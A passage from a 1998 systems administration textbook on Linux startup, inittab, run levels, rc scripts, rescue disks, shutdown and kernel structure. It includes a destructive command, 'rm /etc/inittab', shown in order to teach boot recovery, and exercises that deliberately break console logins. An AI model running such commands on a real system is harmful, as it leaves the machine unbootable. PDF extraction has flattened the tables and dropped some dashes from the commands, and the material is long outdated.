init is also responsible for placing the computer into one of a number of run levels. The run level a computer is in controls what services are started (or stopped) by init. Table 12.2 summarises the different run levels used by RedHat Linux 5.0. At any one time, the system must be in one of these run levels. When a Linux system boots, init examines the /etc/inittab file for an entry of type initdefault. This entry will determine the initial run level of the system.

David Jones and Bruce Jamieson (15/10/98)

Page 266

85321, Systems Administration

Chapter 12: Startup and Shutdown

Run level
0 1

2 3 4 5 6 a b c s or S

Description Halt the machine Single user mode. All file systems mounted, only small set of kernel processes running. Only root can login. multi-user mode , without remote file sharing multi-user mode with remote file sharing, processes, and daemons user definable system state used for to start X11 on boot shutdown and reboot ondemand run levels same as single-user mode, only really used by scripts
Table 1 2 .1 Run le v e ls

Under Linux, the telinit command is used to change the current run level. telinit is actually a soft link to init. telinit accepts a single character argument from the following 0 1 2 3 4 5 6 The run level is switched to this level. Q q Tells init that there has been a change to /etc/inittab (its configuration file) and that it should re-examine it. S s Tells init to switch to single user mode.

/etc/inittab
/etc/inittab is the configuration file for init. It is a colon delimited field where # characters can be used to indicate comments. Each line corresponds to

a single entry and is broken into four fields the identifier One or two characters to uniquely identify the entry. the run level Indicates the run level at which the process should be executed the action Tells init how to execute the process the process The full path of the program or shell script to execute.

David Jones and Bruce Jamieson (15/10/98)

Page 267

85321, Systems Administration

Chapter 12: Startup and Shutdown

What happens When init is first started it determines the current run level (by matching the entry in /etc/inittab with the action initdefault) and then proceeds to execute all of the commands of entries that match the run level. The following is an example /etc/inittab taken from a RedHat machine with some comments added.
Specify the default run level
id:3:initdefault: # System initialisation. si::sysinit:/etc/rc.d/rc.sysinit

when first entering various runlevels run the related startup scripts before going any further
l0:0:wait:/etc/rc.d/rc l1:1:wait:/etc/rc.d/rc l2:2:wait:/etc/rc.d/rc l3:3:wait:/etc/rc.d/rc l4:4:wait:/etc/rc.d/rc l5:5:wait:/etc/rc.d/rc l6:6:wait:/etc/rc.d/rc 0 1 2 3 4 5 6

# Things to run in every runlevel. ud::once:/sbin/update

call the shutdown command to reboot the system when the use does the three fingered salute
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

A powerfail signal will arrive if you have a uninterruptable power supply (UPS) if this happens shut the machine down safely
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down" # If power was restored before the shutdown kicked in, cancel it. pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"

Start the login process for the virtual consoles

1:12345:respawn:/sbin/mingetty tty1 2:2345:respawn:/sbin/mingetty tty2 3:2345:respawn:/sbin/mingetty tty3 4:2345:respawn:/sbin/mingetty tty4 5:2345:respawn:/sbin/mingetty tty5 6:2345:respawn:/sbin/mingetty tty6

If the machine goes into runlevel 5, start X

x:5:respawn:/usr/bin/X11/xdm -nodaemon

The identifier The identifier, the first field, is a unique two character identifier. For inittab entries that correspond to terminals the identifier will be the suffix for the terminals device file. For each terminal on the system a getty process must be started by the init process. Each terminal will generally have a device file with a name like /dev/tty??, where the ?? will be replaced by a suffix. It is this suffix that must be the identifier in the /etc/inittab file.

David Jones and Bruce Jamieson (15/10/98)

Page 268

85321, Systems Administration

Chapter 12: Startup and Shutdown

Run levels The run levels describe at which run levels the specified action will be performed. The run level field of /etc/inittab can contain multiple entries, e.g. 123, which means the action will be performed at each of those run levels. Actions The action's field describes how the process will be executed. There are a number of pre-defined actions that must be used. Table 10.2 lists and explains them. Action
respawn wait once boot bootwait off initdefault sysinit powerwait

ondemand powerfail ctrlaltdel

Purpose restart the process if it finishes init will start the process once and wait until it has finished before going on to the next entry start the process once, when the runlevel is entered perform the process during system boot (will ignore the runlevel field) a combination of boot and wait do nothing specify the default run level execute process during boot and before any boot or bootwait entries executed when init receives the SIGPWR signal which indicates a problem with the power, init will wait until the process is completed execute whenever the ondemand runlevels are called (a b c). When these runlevels are called there is NO change in runlevel. same as powerwait but don't wait (refer to the man page for the action powerokwait) executed when init receives SIGINT signal (usually when someone does CTRL-ALT-DEL
Table

inittab

1 2 .2 ac tio ns

The process The process is simply the name of the command or shell script that should be executed by init. Daemons and Configuration Files init is an example of a daemon. It will only read its configuration file, /etc/inittab, when it starts execution. Any changes you make to /etc/inittab will not influence the execution of init until the next time it starts, i.e. the next time your computer boots.

David Jones and Bruce Jamieson (15/10/98)

Page 269

85321, Systems Administration

Chapter 12: Startup and Shutdown

There are ways in which you can tell a daemon to re-read its configuration files. One generic method, which works most of the time, is to send the daemon the HUP signal. For most daemons the first step in doing this is to find out what the process id (PID) is of the daemon. This isn't a problem for init. Why? It's not a problem for init because init always has a PID of 1. The more accepted method for telling init to re-read its configuration file is to use the telinit command. telinit q will tell init to re-read its configuration file. Exercises
12.3

12.4

12.5 12.6

12.7

12.8

Add an entry to the /etc/inittab file so that it displays a message HELLO onto your current terminal (HINT: you can find out your current terminal using the tty command). Modify the inittab entry from the previous question so that the message is displayed again and again and.... Take your system into single user mode. Take your system into runlevel 5. What happens? (only do this if you have X Windows configured for your system ). Change your system so that it enters this run level when it boots. Reboot your system and see what happens. The wall command is used to display a message onto the terminals of all users. Modify the /etc/inittab file so that whenever someone does the three finger salute (CTRL-ALT-DEL) it displays a message on the consoles of all users and doesn't log out. Examine your inittab file for an entry with the identifier 1. This is the entry for the first console, the screen you are on when you first start your system. Change the entry for 1 so that the action field contains once instead of respawn. Force init to re-read the inittab file and then log in and log out on that console. What happens?

System Configuration
There are a number of tasks which must be completed once during system startup which must be completed once. These tasks are usually related to configuring your system so that it will operate. Most of these tasks are performed by the /etc/rc.d/rc.sysinit script. It is this script which performs the following operations sets up a search path that will be used by the other scripts obtains network configuration data activates the swap partitions of your system sets the hostname of your system Every UNIX computer has a hostname. You can use the UNIX command hostname to set and also display your machine's hostname.
Page 270

David Jones and Bruce Jamieson (15/10/98)

85321, Systems Administration

Chapter 12: Startup and Shutdown

sets the machines NIS domain (if you are using one) performs a check on the file systems of your system turns on disk quotas (if being used) sets up plug'n'play support deletes old lock and tmp files sets the system clock loads any kernel modules.

Terminal logins
In a later chapter we will examine the login procedure in more detail. This is a brief summary to explain how the login procedure relates to the boot procedure. For a user to login there must be a getty process (RedHat Linux uses a program called mingetty, slightly different name but same task) running for the terminal they wish to use. It is one of init's responsibilities to start the getty processes for all terminals that are physically connected to the main machine, and you will find entries in the /etc/inittab file for this. Please note this does not include connections over a network. They are handled with a different method. This method is used for the virtual consoles on your Linux machine and any other dumb terminals you might have connected via serial cables. You should be able see the entries for the virtual consoles in the example /etc/inittab file from above. Exercises
12.9

When you are in single user mode there is only one way to login to a Linux machine, from the first virtual console. How is this done?

Startup scripts
Most of the services which init starts are started when init executes the system start scripts. The system startup scripts are shell scripts written using the Bourne shell (this is one of the reasons you need to know the bourne shell syntax). You can see where these scripts are executed by looking at the inittab file.
l0:0:wait:/etc/rc.d/rc l1:1:wait:/etc/rc.d/rc l2:2:wait:/etc/rc.d/rc l3:3:wait:/etc/rc.d/rc l4:4:wait:/etc/rc.d/rc l5:5:wait:/etc/rc.d/rc l6:6:wait:/etc/rc.d/rc 0 1 2 3 4 5 6

These scripts start a number of services and also perform a number of configuration checks including checking the integrity of the machine's file systems using fsck,

David Jones and Bruce Jamieson (15/10/98)

Page 271

85321, Systems Administration

Chapter 12: Startup and Shutdown

mounting the file systems, designating paging and swap areas, checking disk quotas, clearing out temporary files in /tmp and other locations, startin up system daemons for printing, mail, accounting, system logging, networking, cron and syslog. In the UNIX world there are two styles for startup files: BSD and System V. RedHat Linux 5.0 uses the System V style and the following section concentrates on this format. Table 12.3 summarises the files and directories which are associated with the RedHat 5.0 startup scripts. All the files and directories in Table 12.3 are stored in the /etc/rc.d directory. Purpose directories which contain links to scripts which are executed when a particular runlevel is entered A shell script which is passed the run level. It then executes the scripts in the appropriate directory. Contains the actual scripts which are executed. These scripts take either start or stop as a parameter run once at boot time to perform specific system initialisation steps the last script run, used to do any tasks specific to your local setup that isn't done in the normal SysV setup not always present, used to perform special configuration on any serial ports
Linux Table 1 2 .3 star tup sc r ipts

Filename
rc0.d rc1.d rc2.d rc3.d rc4.d rc5.d rc6.d

rc
init.d rc.sysinit rc.local rc.serial

The Linux Process

When init first enters a run level it will execute the script /etc/rc.d/rc (as shown in the example /etc/inittab above). This script then proceeds to determine the current and previous run levels kill any services which must be killed start all the services for the new run level. The /etc/rc.d/rc script knows how to kill and start the services for a particular run level because of the filenames in the directory for each runlevel. The following are the filenames from the /etc/rc.d/rc3.d directory on my system.
[david@beldin rc.d]$ ls rc3.d K10pnserver K55routed K20rusersd S01kerneld K20rwhod S10network K25innd S15nfsfs K25news S20random K30ypbind S30syslog S40atd S40crond S40portmap S40snmpd S45pcmcia S50inet S60lpd S60nfs S75keytable S80sendmail S85gpm S85httpd S85postgresql S85sound S91smb S99local

You will notice that all the filenames in this, and all the other rcX.d directories, use the same format.

David Jones and Bruce Jamieson (15/10/98)

Page 272

85321, Systems Administration

Chapter 12: Startup and Shutdown

[SK]numberService Where number is some integer and Service is the name of a service. All the files with names starting with S are used to start a service. Those starting with K are used to kill a service. From the rc3.d directory above you can see scripts which start services for the Internet (S50inet), PCMCIA cards (S45pcmcia), a Web server (S85httpd) and a database (S85postgresql). The numbers in the filenames are used to indicate the order in which these services should be started and killed. You'll notice that the script to start the Internet services comes before the script to start the Web server; obviously the Web server depends on the Internet services. /etc/rc.d/init.d If we look closer we can see that the files in the rcX.d directories aren't really files.
[david@beldin rc.d]$ ls -l rc3.d/S50inet lrwxrwxrwx 1 root root 14 Dec 19 23:57 rc3.d/S50inet -> ../init.d/inet

The files in the rcX.d directories are actually soft links to scripts in the /etc/rc.d/init.d directory. It is these scripts which perform all the work. Starting and stopping The scripts in the /etc/rc.d/init.d directory are not only useful during the system startup process, they can also be useful when you are performing maintenance on your system. You can use these scripts to start and stop services while you are working on them. For example, lets assume you are changing the configuration of your Web server. Once you've finished editing the configuration files (in /etc/httpd/conf on a RedHat 5.0 machine) you will need to restart the Web server for it to see the changes. One way you could do this would be to follow this example
[root@beldin rc.d]# /etc/rc.d/init.d/httpd stop Shutting down http: [root@beldin rc.d]# /etc/rc.d/init.d/httpd start Starting httpd: httpd

This example also shows you how the scripts are used to start or stop a service. If you examine the code for /etc/rc.d/rc (remember this is the script which runs all the scripts in /etc/rc.d/rcX.d) you will see two lines. One with $i start and the other with $i stop. These are the actual lines which execute the scripts. Lock files

David Jones and Bruce Jamieson (15/10/98)

Page 273

85321, Systems Administration

Chapter 12: Startup and Shutdown

All of the scripts which start services during system startup create lock files. These lock files, if they exist, indicate that a particular service is operating. Their main use is to prevent startup files starting a service which is already running. When you stop a service one of the things which has to occur is that the lock file must be deleted. Exercises
12.10

What would happen if you tried to stop a service when you were logged in as a normal user (i.e. not root)? Try it.

Why won't it boot?

There will be times when you have to reboot your machine in a nasty manner. One rule of thumb used by Systems Administration to solve some problems is "When in doubt, turn the power off, count to ten slowly, and turn the power back on". There will be times when the system won't come back to you, DON'T PANIC! Possible reasons why the system won't reboot include hardware problems, Caused by both hardware failure and problems caused by human error (e.g. the power cord isn't plugged in, the drive cable is the wrong way around) defective boot floppies, drives or tapes, damaged file systems, improperly configured kernels, A kernel configured to use SCSI drives won't boot on a system that uses an IDE drive controller. errors in the rc scripts or the /etc/inittab file.

Solutions
The following is a Systems Administration maxim Always keep a separate working method for booting the machine into at least single user mode. This method might be a boot floppy, CD-ROM or tape. The format doesn't matter. What does matter that at anytime you can bring the system up in at least single user mode so you can perform some repairs. A separate mechanism to bring the system up single user mode will enable you to solve most problems involved with damaged file systems, improperly configured kernels and errors in the rc scripts.

Boot and root disks

David Jones and Bruce Jamieson (15/10/98)

Page 274

85321, Systems Administration

Chapter 12: Startup and Shutdown

The concept of boot and root disk are important to understanding how the booting process works and also in creating an alternative boot method for your system. The definitions used are boot disk This is the disk which contains the kernel of your system. root disk The root disk contains the root file system with all the necessary programs and files required for init to start and setup a minimum of services. This includes such things as init, /etc/inittab and associated files, /etc/passwd and other information required to allow people to login plus a whole lot more. To have a complete alternative boot method you must have both alternative boot and root disks. The alternative boot disk is useful if you have problems with your kernel. The alternative root disk is required when you have problems such as a wrongly configured inittab or a missing /etc/passwd file. It is possible for a single disk to provide both boot and root disk services.

Making a boot and root disk

It is important that you have alternative boot and root disks for your system. There are (at least) two methods you can use to obtain them use the installation disks which come with your distribution of Linux, In order to install Linux you basically have to have a functioning Linux computer. Therefore the installation disk(s) that you used to install Linux provide an alternative boot and root disk. use a rescue disk (set). A number of people have created rescue disks. These are boot and root disk sets which have been configured to provide you with the tools you will need to rescue your system from problems. The resource materials section for week 7 on the 85321 Web site/CD-ROM contains pointers to two rescue disk sets. Exercises
12.11

Create a boot and root disk set for your system using the resources on the 85321 Web site/CD-ROM.

David Jones and Bruce Jamieson (15/10/98)

Page 275

85321, Systems Administration

Chapter 12: Startup and Shutdown

Using boot and root

What do you think would happen if you did the following?
rm /etc/inittab

The next time you booted your system you would see something like this on the screen.
INIT: version 2.71 booting INIT: No inittab file found Enter runlevel: 1 INIT: Entering runlevel: 1 INIT: no more processes left in this runlevel

What's happening here is that init can't find the inittab file and so it can't do anything. To solve this you need to boot the system and replace the missing inittab file. This is where the alternative root and boot disk(s) come in handy. To solve this problem you would do the following boot the system with the alternative boot/root disk set login as root perform the following
bash:/> mount t ext2 /dev/hda2 /mnt mount: mount point /mnt does not exist bash:/> mkdir /mnt bash:/> mount t ext2 /dev/hda1 /mnt EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended bash:/> cp /etc/inittab /mnt/etc/inittab bash:/> umount /mnt

A description of the above goes like this Try to mount the usual root file system, the one with the missing inittab file. But it doesn't work. Create the missing /mnt directory. Now mount the usual root file system. Copy the inittab file from the alternative root disk onto the usual root disk. Normally you would have a backup tape which contains a copy of the old inittab file. Unmount the usual root file system and reboot the system. The aim of this example is to show you how you can use alternative root and boot disks to solve problems which may prevent your system from booting. Exercises
12.12

Removing the /etc/inittab file from your Linux system will not only cause problems when you reboot the machine. It also causes problems when you try to shut the machine down. What problems? Why?

David Jones and Bruce Jamieson (15/10/98)

Page 276

85321, Systems Administration

Chapter 12: Startup and Shutdown

12.13

12.14

What happens if you forget the root password? Without it you can't perform any management tasks at all. How would you fix this problem? Boot your system in the normal manner and comment out all the entries in your /etc/inittab file that contain the word mingetty. What do you think is going to happen? Reboot your system. Now fix the problem using the installation floppy disks.

Solutions to hardware problems

Some guidelines to solving hardware problems check the power supply and its connections, Don't laugh, there are many cases I know of in which the whole problem was caused by the equipment not being plugged in properly or not at all. check the cables and plugs on the devices, check any fault lights on the hardware, power cycle the equipment (power off, power on), Again I'll mention that old Systems Administration maxim. If something doesn't work turn it off, count to 10 very slowly and turn it back on again (usually with the fingers crossed). Not only can it solve problems but it is also a good way of relaxing. try rebooting the system without selected pieces of hardware, It may be only one faulty device that is causing the problem. Try isolating the problem device. use any diagnostic programs that are available, or as a last resort call a technician or a vendor.

Damaged file systems

In the next two chapters we'll examine file systems in detail and provide solutions to how you can fix damaged file systems. The two methods we'll examine include the fsck command, and always maintaining good backups.

Improperly configured kernels

The kernel contains most of the code that allows the software to talk to your hardware. If the code it contains is wrong then your software won't be able to talk to your hardware. In a later chapter on the kernel we'll explain in more detail why you might want to change the kernel and why it might not work. Suffice to say you must always maintain a working kernel that you can boot your system with.

David Jones and Bruce Jamieson (15/10/98)

Page 277

85321, Systems Administration

Chapter 12: Startup and Shutdown

Shutting down
You should not just simply turn a UNIX computer off or reboot it. Doing so will usually cause some sort of damage to the system especially to the file system. Most of the time the operating system may be able to recover from such a situation (but NOT always). There are a number of tasks that have to be performed for a UNIX system to be shutdown cleanly tell the users the system is going down, Telling them 5 seconds before pulling the plug is not a good way of promoting good feeling amongst your users. Wherever possible the users should know at least a couple of days in advance that the system is going down (there is always one user who never knows about it and complains). signal the currently executing processes that it is time for them to die, UNIX is a multi-tasking operating system. Just because there is no-one logged in this does not mean that there is nothing going on. You must signal all the current running processes that it is time to die gracefully. place the system into single user mode, and perform sync to flush the file systems buffers so that the physical state of the file system matches the logical state. Most UNIX systems provide commands that perform these steps for you.

Reasons Shutting down

In general, you should try to limit the number of times you turn a computer on or off as doing so involves some wear and tear. It is often better to simply leave the computer on 24 hours a day. In the case of a UNIX system being used for a mission critical application by some business it may have to be up 24 hours a day. Some of the reasons why you may wish to shut a UNIX system down include general housekeeping, Every time you reboot a UNIX computer it will perform some important housekeeping tasks, including deleting files from the temporary directories and performing checks on the machines file systems. Rebooting will also get rid of any zombie processes. general failures, and Occasionally problems will arise for which there is only one resort, shutdown. These problems can include hanging logins, unsuccessful mount requests, dazed devices, runaway processes filling up disk space or CPU time and preventing any useful work being done. system maintenance and additions. There are some operations that only work if the system is rebooted or if the system is in single user mode, for example adding a new device.

David Jones and Bruce Jamieson (15/10/98)

Page 278

85321, Systems Administration

Chapter 12: Startup and Shutdown

Being nice to the users

Knowing of the existence of the appropriate command is the first step in bringing your UNIX computer down. The other step is outlined in the heading for this section. The following command is an example of what not to do.
shutdown -h -1 now

Under Linux this results in a message somewhat like this appearing on every user's terminal
THE SYSTEM IS BEING SHUT DOWN NOW ! ! ! Log off now or risk your files being damaged.

and the user will almost immediately be logged out. This is not a method inclined to win friends and influence people. The following is a list of guidelines of how and when to perform system shutdowns shutdowns should be scheduled, If users know the system is coming down at specified times they can organise their computer time around those times. perform a regular shutdown once a week, and A guideline, so that the housekeeping tasks discussed above can be performed. If it's regular the users get to know when the system will be going down. use /etc/motd. /etc/motd is a text file that contains the message the users see when they first log onto a system. You can use it to inform users of the next scheduled shutdown.

Commands to shutdown
There are a number of different methods for shutting down and rebooting a system including the shutdown command The most used method for shutting the system down. The command can display messages at preset intervals warning the users that the system is coming down. the halt command Logs the shutdown, kills the system processes, executes sync and halts the processor. the reboot command Similar to halt but causes the machine to reboot rather than halting. sending init a TERM signal, init will usually interpret a TERM signal (signal number 15) as a command to go into single user mode. It will kill of user processes and daemons. The command is kill -15 1 (init is always process number 1). It may not work or be safe on all machines. the fasthalt or fastboot commands These commands create a file /fastboot before calling halt or reboot.

David Jones and Bruce Jamieson (15/10/98)

Page 279

85321, Systems Administration

Chapter 12: Startup and Shutdown

When the system reboots and the startup scripts find a file /fastboot they will not perform a fsck on the file systems. The most used method will normally be the shutdown command. It provides users with warnings and is the safest method to use. shutdown The format of the command is
shutdown [ -h | -r ] [ -fqs ] [ now | hh:ss | +mins ]

The parameters are -h Halt the system and don't reboot. -r Reboot the system -f Do a fast boot. -q Use a default broadcast message. -s Reboot into single user mode by creating a /etc/singleboot file.
The time at which a shutdown should occur are specified by the now hh:ss +mins options.

now Shut down immediately. hh:ss Shut down at time hh:ss. +mins Shut down mins minutes in the future. The default wait time before shutting down is two minutes.
What happens

The procedure for shutdown is as follows five minutes before shutdown or straight away if shutdown is in less than five minutes The file /etc/nologin is created. This prevents any users (except root) from logging in. A message is also broadcast to all logged in users notifying them of the imminent shutdown. at shutdown time. All users are notified. init is told not to spawn any more getty processes. Shutdown time is written into the file /var/log/wtmp. All other processes are killed. A sync is performed. All file systems are unmounted. Another sync is performed and the system is rebooted.

David Jones and Bruce Jamieson (15/10/98)

Page 280

85321, Systems Administration

Chapter 12: Startup and Shutdown

The other commands

The other related commands including reboot, fastboot, halt, fasthalt all use a similar format to the shutdown command. Refer to the man pages for more information.

Conclusions
Booting and shutting down a UNIX computer is significantly more complex than performing the same tasks with a MS-DOS computer. A UNIX computer should never just be shut off. The UNIX boot process can be summarised into a number of steps the hardware ROM or BIOS performs a number of tasks including loading the bootstrap program, the bootstrap program loads the kernel, the kernel starts operation, configures the system and runs the init process init consults the /etc/inittab file and performs a number of necessary actions. One of the responsibilities of the init process is to execute the startup scripts that, under Linux, reside in the /etc/rc.d directory. It is important that you have at least one other alternative method for booting your UNIX computer. There are a number of methods for shutting down a UNIX computer. The most used is the shutdown command.

Review Questions
12.1 What would happen if the file /etc/inittab did not exist? Find out. 12.2 How would you fix the following problems? The kernel for your Linux computer has been accidentally deleted. The /etc/fstab file for your system has been moved to /usr/local/etc/fstab. 12.3 Explain each of the following inittab entries s1:45:respawn:/sbin/agetty 19200 ttyS0 vt100 id:5:initdefault: si:S:sysinit:/etc/rc.d/rc.S
David Jones and Bruce Jamieson (15/10/98) Page 281

85321, Systems Administration

Chapter 13: Kernel

Chapter
The bit of the nut that you eat?

13
Kernel

Well, not exactly. The kernel is the core of the operating system; it is the program that controls the basic services that are utilised by user programs; it is this suite of basic services in the form of system calls that make an operating system "UNIX". The kernel is also responsible for: CPU resource scheduling (with the associated duties of process management) Memory management (including the important implementation of protection) Device control (including providing the device-file/device-driver interface) Security (at a device, process and user level) Accounting services (including CPU usage and disk quotas) Inter Process Communication (shared memory, semaphores and message passing) The Linux Kernel FAQ sums it up nicely with:
The Unix kernel acts as a mediator for your programs. First, it does the memory management for all of the running programs (processes), and makes sure that they all get a fair (or unfair, if you please) share of the processor's cycles. In addition, it provides a nice, fairly portable interface for programs to talk to your hardware. Obviously, there is more to the kernel's operation than this, but the basic functions above are the most important to know.

Why?
Why study the kernel? Isn't that an operating-system-type-thing? What does a Systems Administrator have to do with the internal mechanics of the OS? Lots. UNIX is usually provided with the source for the kernel (there are exceptions to this in the commercial UNIX world). The reason is that this allows Systems Administrators to directly customise the kernel for their particular system. A Systems Administrator might do this because: They have modified the system hardware (adding devices, memory, processors etc.). They wish to optimise the memory usage (called reducing the kernel footprint).
David Jones and Bruce Jamieson (15/10/98) Page 282

85321, Systems Administration

Chapter 13: Kernel

The speed and performance of the system may need improvement (eg. modify the quantum per task to suit CPU intensive vs IO intensive systems). This process (along with optimising memory) is called tweaking. Improvements to the kernel can be provided in the form of source code which then allows the Systems Administrator to easily upgrade the system with a kernel recompile. Recompiling the kernel is the process whereby the kernel is reconfigured, the source code is regenerated/recompiled and a linked object is produced. Throughout this chapter the concept of recompiling the kernel will mean both the kernel source code compilation and linkage.

How?
In this chapter, we will be going through the step-by-step process of compiling a kernel, a process that includes: Finding out about your current kernel (what version it is and where it is located?) Obtaining the kernel (where do you get the kernel source, how do you unpack it and where do you put it?) Obtaining and reading documentation (where can I find out about my new kernel source?) Configuring your kernel (how is this done, what is this doing?) Compiling your kernel (how do we do this?) Testing the kernel (why do we do this and how?) Installing the kernel (how do we do this?) But to begin with, we really need to look at exactly what the kernel physically is and how it is generated. To do this, we will examine the Linux kernel, specifically on the x86 architecture.

The lifeless image

The kernel is physically a file that is usually located in the /boot directory. Under Linux, this file is called vmlinuz. On my system, an ls listing of the kernel produced:
bash# ls -al /boot/vml* lrwxrwxrwx 1 root root -rw-r--r-1 root root 14 Jan 2 23:44 /boot/vmlinuz -> vmlinuz-2.0.31 444595 Nov 10 02:59 /boot/vmlinuz-2.0.31

You can see in this instance that the kernel file is actually a link to another file containing the kernel image. The actual kernel size will vary from machine to machine. The reason for this is that the size of the kernel is dependant on what features you have compiled into it, what modifications you've make to the
David Jones and Bruce Jamieson (15/10/98) Page 283

85321, Systems Administration

Chapter 13: Kernel

kernel data structures and what (if any) additions you have made to the kernel code.
vmlinuz is referred to as the kernel image. At a physical level, this file consists

of a small section of machine code followed by a compressed block. At boot time, the program at the start of the kernel is loaded into memory at which point it uncompresses the rest of the kernel. This is an ingenious way of making the physical kernel image on disk as small as possible; uncompressed the kernel image could be around one megabyte. So what makes up this kernel?

Kernel gizzards
An umcompressed kernel is really a giant object file; the product of C and assembler linking - the kernel is not an "executable" file (i.e. you just can't type vmlinuz at the prompt to run the kernel). The actual source of the kernel is stored in the /usr/src/linux directory; a typical listing may produce:
[jamiesob@pug jamiesob]$ ls -al /usr/src total 4 drwxr-xr-x 4 root root 1024 drwxr-xr-x 18 root root 1024 lrwxrwxrwx 1 root root 12 2.0.31 drwxr-xr-x 3 root root 1024 drwxr-xr-x 7 root root 1024

Jan Jan Jan Jan Jan

2 23:53 . 2 23:45 .. 2 23:44 linux -> linux2 23:44 linux-2.0.31 2 23:53 redhat

/usr/src/linux is a soft link to /usr/src/<whatever linux version> - this means you can store several kernel source

trees - however - you MUST change the soft link of /usr/src/linux to the version of the kernel you will be compiling as there are several components of the kernel source that rely on this. SPECIAL NOTE: If your system doesn't have a /usr/src/linux or a /usr/src/linux* directory (where * is the version of the Linux source) then you don't have the source code installed on your machine. We will be discussing in a later section exactly how you can obtain the kernel source. To obtain and install the source from the Red Hat CD-ROM, you must complete the following steps: Mount RedHat CD 1 under /mnt. Execute (as root) the following commands:
rpm ivh /mnt/RedHat/RPMS/kernel-headers-2.0.31-7.i386.rpm rpm ivh /mnt/RedHat/RPMS/kernel-source-2.0.31-7.i386.rpm

The source has now been installed. For further information on installing RedHat components, see Chapter 8 of the RedHat Installation Guide. A typical listing of /usr/src/linux produces:
-rw-r--r--rw-r--r-1 root 1 root root root 2 May 12 6282 Aug 9 1996 .version 1994 CHANGES

David Jones and Bruce Jamieson (15/10/98)

Page 284

85321, Systems Administration

Chapter 13: Kernel

-rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r--rw-r--r-drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x drwxr-xr-x -rw-r--r--rwxr-xr-x

1 1 1 1 1 1 1 1 6 7 13 9 2 2 2 2 2 2 4 1 1

root root root root root root root root root root root root root root root root root root root root root

root root root root root root root root root root root root root root root root root root root root root

18458 21861 3221 2869 7042 9817 3114 89712 1024 1024 1024 1024 1024 1024 1024 1024 1024 1024 1024 862 995060

Dec Aug Dec Jan Aug Aug Aug May May May May May May May May May May Jan May Aug May

1 17 30 10 17 17 17 12 10 10 12 12 12 12 12 12 12 23 12 17 12

1993 1995 1994 1995 1995 1995 1995 1996 1996 1996 1996 1996 1996 1996 1996 1996 1996 1995 1996 1995 1996

COPYING CREDITS Configure MAGIC Makefile README README.modules System.map arch/ drivers/ fs/ include/ init/ ipc/ kernel/ lib/ mm/ modules/ net/ versions.mk vmlinux

Take note of the vmlinux (if you have one) file - this is the uncompressed kernel! Notice the size? [vmlinuz is the .z (or compressed) version of vmlinux plus the decompression code] Within this directory hierarchy are in excess of 1300 files and directories. On my system this consists of around 400 C source code files, 370 C header files, 40 Assembler source files and 46 Makefiles. These, when compiled, produce around 300 object files and libraries. At a rough estimate, this consumes around 16 megabytes of space (this figure will vary). While this may seem like quite a bit of code, much of it actually isn't used in the kernel. Quite a large portion of this is driver code; only drivers that are needed on the system are compiled into the kernel, and then only those that are required at run time (the rest can be placed separately in things called modules; we will examine this later). The various directories form logical divisions of the code, especially between the architecture dependant code (linux/arch), drivers (linux/drivers) and architecture independent code. By using grep and find, it is possible to trace the structure of the kernel program, look at the boot process and find out how various parts of it work.

The first incision

An obvious place to start with any large C program is the void main(void) function. If you grep every source file in the Linux source hierarchy for this function name, you will be sadly disappointed. As I pointed out earlier, the kernel is a giant object file - a series of compiled functions. It is NOT executable. The purpose of void main(void) in C is to establish a framework for the linker to insert code that is used by the operating system to load and run the program. This wouldn't be of any use for a kernel - it is the operating system!

David Jones and Bruce Jamieson (15/10/98)

Page 285

85321, Systems Administration

Chapter 13: Kernel

This poses a difficulty - how does an operating system run itself?

Making the heart beat...

In the case of Linux, the following steps are performed to boot the kernel: The boot loader program (e.g. lilo) starts by loading the vmlinuz from disk into memory, then starts the code executing. After the kernel image is decompressed, the actual kernel is started. This part of the code was produced from assembler source; it is totally machine specific. The code for this is located in the /usr/src/linux/arch/i386/kernel/head.S file. Technically at this point the kernel is running. This is the first process (0) and is called swapper. Swapper does some low level checks on the processor, memory and FPU availability, then places the system into protected mode. Paging is enabled. Interrupts are disabled (every one) though the interrupt table is set up for later use. The entire kernel is realigned in memory (post paging) and some of the basic memory management structures are created. At this point, a function called start_kernel is called. start_kernel is physically located in /usr/src/linux/init/main.c and is really the core kernel function - really the equivalent of the void main(void). main.c itself is virtually the root file for all other source and header files. Tests are run (the FPU bug in Pentium chip is identified amongst other checks including examinations on the DMA chip and bus architecture) and the BogoMip setting is established. start_kernel sets up the memory, interrupts and scheduling. In effect, the kernel has now has multi-tasking enabled. The console already has had several messages displayed to it. The kernel command line options are parsed (those passed in by the boot loader) and all embedded device driver modules are initialised. Further memory initialisations occur, socket/networking is started and further bug checks are performed. The final action performed by swapper is the first process creation with fork whereby the init program is launched. Swapper now enters an infinite idle loop. It is interesting to note that as a linear program, the kernel has finished running! The timer interrupts are now set so that the scheduler can step in and pre-empt the running process. However, sections of the kernel will be periodically executed by other processes. This is really a huge oversimplification of the kernel's structure, but it does give you the general idea of what it is, what it is made up of and how it loads.

David Jones and Bruce Jamieson (15/10/98)

Page 286

85321, Systems Administration

Chapter 13: Kernel

Modules
A recent innovation in kernel design is the concept of modules. A module is a dynamically loadable object file containing functions for interfacing with a particular device or performing particular tasks. The concept behind modules is simple; to make a kernel smaller (in memory), keep only the bare basics compiled into the kernel. When the kernel needs to use devices, let it load modules into memory. If it doesn't use the modules, let them be unloaded from memory. This concept has also revolutionised the way in which kernels are compiled. No longer do you need to compile every device driver into the kernel; you can simply mark some as modules. This also allows for separate module compilation - if a new device driver is released then it is a simple case of recompiling the module instead of the entire kernel. Modules work by the kernel communicating with a program called kerneld. kerneld is run at boot time just like a normal daemon process. When the kernel notices that a request has come in for the use of a module, it checks if it is loaded in memory. If it is, then the routine is run, however, if not, the kernel gets kerneld to load the module into memory. kerneld also removes the module from memory if it hasn't been used in a certain period of time (configurable). The concept of modules is a good one, but there are some things you should be aware of: Frequently used devices and devices required in the boot process (like the hard disk) should not be used as modules; these must be compiled into the kernel. While the concept of modules is great for systems with limited memory, should you use them? Memory is cheap - compiling an object into the kernel rather than leaving it as a module may use more memory but is that better than a system that uses its CPU and IO resources to constantly load and unload modules? There are trade offs between smaller kernels and 